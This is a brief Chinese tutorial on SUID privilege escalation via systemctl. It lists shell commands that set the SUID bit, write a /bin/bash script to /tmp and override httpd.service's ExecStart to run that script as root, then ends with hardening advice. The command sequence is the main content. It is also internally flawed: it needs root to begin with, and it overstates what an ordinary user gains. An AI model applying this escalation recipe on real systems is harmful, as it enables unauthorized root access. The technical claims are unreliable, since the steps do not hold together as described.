📅  最后修改于: 2023-12-03 15:05:24.209000             🧑  作者: Mango
SUID(Set User ID)和SGID(Set Group ID)是UNIX/Linux系统中重要的权限标记。SUID标记可以让普通用户以root权限执行特定的程序,SGID标记则可以让用户以特定的用户组身份执行程序。SUID提权是指通过利用SUID标记的漏洞来提升当前用户的权限。
systemctl是一个Systemd的工具,用于控制系统的服务和守护进程。利用SUID提权漏洞,可以让普通用户以root权限执行systemctl。
$ chmod u+s /bin/systemctl # 添加SUID标记
$ systemctl status # 执行systemctl
$ systemctl edit --full --system httpd.service # 编辑httpd.service
$ echo '/bin/bash' > /tmp/service.sh # 添加执行脚本
$ chown root:root /tmp/service.sh
$ chmod +x /tmp/service.sh
$ systemctl edit --full --system httpd.service # 编辑httpd.service
在httpd.service中添加以下内容:
[Service]
ExecStart=
ExecStart=/bin/bash /tmp/service.sh
现在,当普通用户执行systemctl start httpd.service时,/tmp/service.sh将以root权限执行。
避免利用SUID提权漏洞,建议尽量避免设置SUID标记。
避免systemctl被误用,建议仅允许特定的用户或组执行systemctl,并限制其能够执行的操作。
定期更新系统和软件,及时修补已知漏洞。
SUID提权是一种危险的攻击手段,可以让普通用户以root权限执行命令。为了保护系统的安全,建议管理员加强对systemctl的管理,避免系统被黑客利用。